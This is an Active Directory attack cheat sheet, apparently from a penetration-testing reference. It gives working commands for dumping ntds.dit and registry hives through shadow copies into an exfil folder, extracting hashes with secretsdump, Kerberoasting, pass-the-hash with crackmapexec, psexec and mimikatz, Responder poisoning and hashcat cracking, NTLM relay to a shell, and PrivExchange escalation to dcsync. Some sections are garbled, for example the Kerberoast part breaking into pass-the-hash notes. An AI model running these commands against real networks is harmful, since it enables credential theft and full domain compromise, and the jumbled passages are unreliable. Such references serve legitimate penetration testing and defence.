Using Vshadow
vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
You can also use the Nishang script, available at : https://github.com/samratashok/nishang
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
Using vssadmin
vssadmin create shadow /for=C:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
Using DiskShadow (a Windows signed binary)
diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit delete shadows volume %someAlias% reset then: NOTE - must be executed from C:\Windows\System32 diskshadow.exe /s c:\diskshadow.txt dir c:\exfil reg.exe save hklm\system c:\exfil\system.bak
Extract hashes from ntds.dit
then you need to use secretsdump to extract the hashes
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
secretsdump also works remotely

Kerberoast
"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN
Any valid domain user can request a kerberos ticket for any domain service with GetUserSPNs
. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack. # NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee) set PAYLOAD windows/meterpreter/bind_tcp run shell or with crackmapexec cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami" also works with net range : cme smb 10.2.0.2/24 ... or with psexec proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d or with the builtin Windows RDP and mimikatz sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"

Capturing and cracking NTLMv2 hashes
If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR
, MDNS
and NETBIOS
requests on the network.
python Responder.py -I eth0
Then crack the hash with hashcat
hashcat -m 5600 -a 0 hash.txt crackstation.txt
NTLMv2 hashes relaying
If a machine has SMB signing
:disabled
, it is possible to use Responder with Multirelay.py script to perform an NTLMv2 hashes relay
and get a shell access on the machine.
- Open the Responder.conf file and set the value of
SMB
andHTTP
toOff
. - Run
python RunFinger.py -i IP_Range
to detect machine withSMB signing
:disabled
. - Run
python Responder.py -I <interface_card>
andpython MultiRelay.py -t <target_machine_IP> -u ALL
- Wait for a shell

PrivExchange attack
Exchange your privileges for Domain Admin privs by abusing Exchange. You need a shell on a user account with a mailbox.
-
Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server.
# https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx # https://github.com/G0ldenGunSec/PowerPriv powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
-
Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).
-
Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash
python secretsdump.py xxxxxxxxxx -just-dc
